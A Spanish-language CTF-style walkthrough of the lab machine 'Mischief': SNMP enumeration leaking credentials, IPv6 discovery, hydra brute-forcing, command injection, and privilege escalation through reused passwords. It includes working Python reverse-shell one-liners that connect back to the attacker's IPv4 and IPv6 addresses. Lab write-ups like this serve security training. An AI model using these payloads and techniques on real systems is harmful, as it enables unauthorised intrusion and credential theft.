Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, entre ellos el 80 que corre un servicio http
❯ nmap 10.10.10.92
Nmap scan report for 10.10.10.92
PORT STATE SERVICE
22/tcp open ssh
3366/tcp open creativepartnr
En el puerto 3366 podemos encontrar una página la cual nos pide credenciales
Al hacer un curl al puerto 3366 en las cabeceras de respuesta nos dice que la web corre en un SimpleHTTPServer usando la version de Python 2.7.15rc1
❯ curl -s 10.10.10.92:3366 -I
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.15rc1
Content-type: text/html
Como de poco nos sirve pasamos al protocolo UDP, donde al escanear puertos con nmap hay uno bastante interesante y es el servicio snmp corriendo en el 161
❯ sudo nmap -sU -T5 -Pn -n --top-ports 100 10.10.10.92
Nmap scan report for 10.10.10.92
PORT STATE SERVICE
161/udp open snmp
Usando apt instalamos algunos mibs para snmp, y para poder usarlos en el archivo de configuracion /etc/snmp/snmp.conf comentamos la unica linea descomentada
❯ sudo apt install snmp-mibs-downloader
Con snmpbulkwalk usando como public como community string y el mib hrSWRunName enumeramos procesos, la web corre python asi que filtramos por el
❯ snmpbulkwalk -v2c -c public 10.10.10.92 hrSWRunName | grep python
HOST-RESOURCES-MIB::hrSWRunName.788 = STRING: "python"
Encontramos un proceso que corre python correspondiente al pid 788, listando un poco mas de informacion de este pid logramos ver partes del comando y en los argumentos de este se muestran las credenciales con las que corre el servidor web
❯ snmpbulkwalk -v2c -c public 10.10.10.92 hrSWRunTable | grep 788
HOST-RESOURCES-MIB::hrSWRunIndex.788 = INTEGER: 788
HOST-RESOURCES-MIB::hrSWRunName.788 = STRING: "python"
HOST-RESOURCES-MIB::hrSWRunID.788 = OID: SNMPv2-SMI::zeroDotZero
HOST-RESOURCES-MIB::hrSWRunPath.788 = STRING: "python"
HOST-RESOURCES-MIB::hrSWRunParameters.788 = STRING: "-m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/"
HOST-RESOURCES-MIB::hrSWRunType.788 = INTEGER: application(4)
HOST-RESOURCES-MIB::hrSWRunStatus.788 = INTEGER: runnable(2)
Al usar las credenciales para entrar a la web en el puerto 3366 accedemos y nos encontramos con 2 posibles contraseñas para loki pero de poco nos sirven
Volvemos a snmp donde al usar el mib ipAddressType podemos ver las direcciones de todas las interfaces de red que tiene la maquina victima entre ellas la IPv6
❯ snmpbulkwalk -v2c -c public 10.10.10.92 ipAddressType
IP-MIB::ipAddressType.ipv4."10.10.10.92" = INTEGER: unicast(1)
IP-MIB::ipAddressType.ipv4."10.10.255.255" = INTEGER: broadcast(3)
IP-MIB::ipAddressType.ipv4."127.0.0.1" = INTEGER: unicast(1)
IP-MIB::ipAddressType.ipv6."00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:01" = INTEGER: unicast(1)
IP-MIB::ipAddressType.ipv6."de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:96:ee:9e" = INTEGER: unicast(1)
IP-MIB::ipAddressType.ipv6."fe:80:00:00:00:00:00:00:02:50:56:ff:fe:96:ee:9e" = INTEGER: unicast(1)
Quitando los : extras cada 2 caracteres podemos obtener la direccion IPv6 real
dead:beef:0000:0000:0250:56ff:fe96:ee9e
Haciendo de nuevo un escaneo de puertos TCP con nmap pero esta vez por IPv6 tenemos acceso a un nuevo puerto y es el 80, probablemente un servicio web
❯ nmap -6 dead:beef:0000:0000:0250:56ff:fe96:ee9e
Nmap scan report for dead:beef::250:56ff:fe96:ee9e
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Aunque podriamos usar [dead:beef:****] para abrir la página desde la dirección IPv6 agregaremos la ip con el dominio mischief.htb para tener mayor comodidad
❯ echo "dead:beef:0000:0000:0250:56ff:fe96:ee9e mischief.htb" | sudo tee -a /etc/hosts
La web esta vez en el puerto 80 nos muestra un boton que redirige a un login
Tenemos un login, si enviamos credenciales incorrectas a este panel nos devuelve el mensaje Sorry diciendo que son incorrectas, podemos usar esto como estado
Usando hydra y un diccionario de seclists podemos usar las 2 contraseñas que encontramos en el puerto 3366 indicando que el mensaje de error contiene Sorry
❯ hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P passwords.txt mischief.htb http-post-form "/login.php:user=^USER^&password=^PASS^:Sorry"
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak
[DATA] attacking http-post-form://mischief.htb:80/login.php:user=^USER^&password=^PASS^:Sorry
[80][http-post-form] host: mischief.htb login: administrator password: trickeryanddeceit
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished
Shell - www-data
A traves de fuerza bruta con hydra encontramos que una de las contraseñas es valida para administrator en el login, al ingresar podemos ver un panel de ejecucion de comandos donde solo nos dice si el comando se ha ejecutado o no
Al agregar un simple ; en el cuadro y enviar la solicitud nos muestra el output del comando ejecutado, en este caso el output del comando de ping al localhost
Podemos cambiar el comando por un id; y podemos ver que el usuario www-data es quien ejecuta los comandos, sin embargo es bastante probable que haya alguna blacklist por detrás ya que no podemos ejecutar algunos comandos como nc
El comando python no esta dentro de la blacklist pero al enviar un tipico comando para enviar una reverse shell hacia nuestro host no recibimos la conexion
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Sabemos que la maquina involucra IPv6 asi que es posible que este limitado a nivel de conexiones por IPv4, la dirección IPv6 podemos verla con ifconfig
❯ ifconfig tun0
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.10.14.10 netmask 255.255.254.0 destination 10.10.14.10
inet6 dead:beef:2::1008 prefixlen 64 scopeid 0x0<global>
inet6 fe80::dcd6:9baf:f0f5:c965 prefixlen 64 scopeid 0x20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 500 (UNSPEC)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 31 bytes 4040 (3.9 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
En el oneliner de python cambiamos la dirección IPv4 por la IPv6 ademas de cambiar AF_INET por AF_INET6 para decirle que es ese tipo de conexion
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::1008",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Al hacerlo recibimos la shell en el listener de netcat en el que tambien agregamos el parametro -6, ahora tenemos una shell como el usuario www-data en la maquina
❯ sudo netcat -6lvnp 443
Listening on :: 443
Connection received on dead:beef::250:56ff:fe96:ee9e
$ script /dev/null -c bash
Script started, file is /dev/null
www-data@Mischief:~/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Mischief:~/html$ hostname -I
10.10.10.92 dead:beef::250:56ff:fe96:ee9e
www-data@Mischief:~/html$
Shell - loki
En el directorio home del usuario loki podemos encontrar un archivo llamado credentials el cual contiene una sola linea que parecer ser su contraseña
www-data@Mischief:/home/loki$ ls -l
-rw-rw-r-- 1 loki loki 28 May 17 2018 credentials
drwxrwxr-x 2 loki loki 4096 Jul 20 2022 hosted
-r-------- 1 loki loki 33 May 17 2018 user.txt
www-data@Mischief:/home/loki$ cat credentials
pass: lokiisthebestnorsegod
www-data@Mischief:/home/loki$
Podemos simplemente usar la contraseña para conectarnos por ssh como el usuario loki, obtenemos una shell como este usuario y podemos leer la flag user.txt
❯ ssh loki@10.10.10.92
loki@10.10.10.92's password: lokiisthebestnorsegod
loki@Mischief:~$ id
uid=1000(loki) gid=1004(loki) groups=1004(loki)
loki@Mischief:~$ hostname -I
10.10.10.92 dead:beef::250:56ff:fe96:ee9e
loki@Mischief:~$ cat user.txt
bf5**************************060
loki@Mischief:~$
Shell - root
Al listar el historial de comandos que ha ejecutado este usuario vemos un comando de python donde usa como credenciales a loki y otra contraseña
loki@Mischief:~$ history
1 python -m SimpleHTTPAuthServer loki:lokipasswordmischieftrickery
2 exit
3 free -mt
4 ifconfig
5 cd /etc/
6 sudo su
7 su
8 exit
9 su root
10 ls -la
11 sudo -l
12 ifconfig
13 id
14 cat .bash_history
15 nano .bash_history
16 exit
19 id
20 hostname -I
21 cat user.txt
24 history
loki@Mischief:~$
Puede que esa contraseña la reutilize el usuario root, sin embargo al intentar usar su o sudo para ejecutar comandos como root nos dice que no tenemos permiso
loki@Mischief:~$ su root
-bash: /bin/su: Permission denied
loki@Mischief:~$ sudo -u root bash
-bash: /usr/bin/sudo: Permission denied
loki@Mischief:~$
Con getfacl podemos listar mejor los privilegios sobre estos binarios, al usuario loki solo se le otorgaron privilegios r-- osea de lectura y no de ejecucion
loki@Mischief:~$ getfacl /bin/su
getfacl: Removing leading '/' from absolute path names
# file: bin/su
# owner: root
# group: root
# flags: s--
user::rwx
user:loki:r--
group::r-x
mask::r-x
other::r-x
loki@Mischief:~$ getfacl /usr/bin/sudo
getfacl: Removing leading '/' from absolute path names
# file: usr/bin/sudo
# owner: root
# group: root
# flags: s--
user::rwx
user:loki:r--
group::r-x
mask::r-x
other::r-x
loki@Mischief:~$
Sin embargo esta regla no aplica para el usuario www-data donde al usar su root y proporcionar la contraseña obtenemos una shell como el usuario root sin ningun problema, sin embargo al intentar leer la flag nos dice que no se encuentra ahi
www-data@Mischief:~$ su root
Password: lokipasswordmischieftrickery
root@Mischief:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Mischief:~# hostname -I
10.10.10.92 dead:beef::250:56ff:fe96:ee9e
root@Mischief:~# cat /root/root.txt
The flag is not here, get a shell to find it!
root@Mischief:~#
Usando el comando find buscamos por el archivo con nombre root.txt, una vez encontramos la ruta basta con hacerle un tipico cat para leer la flag final
root@Mischief:~# find / -name root.txt 2>/dev/null
/usr/lib/gcc/x86_64-linux-gnu/7/root.txt
/root/root.txt
root@Mischief:~# cat /usr/lib/gcc/x86_64-linux-gnu/7/root.txt
ae1**************************807
root@Mischief:~#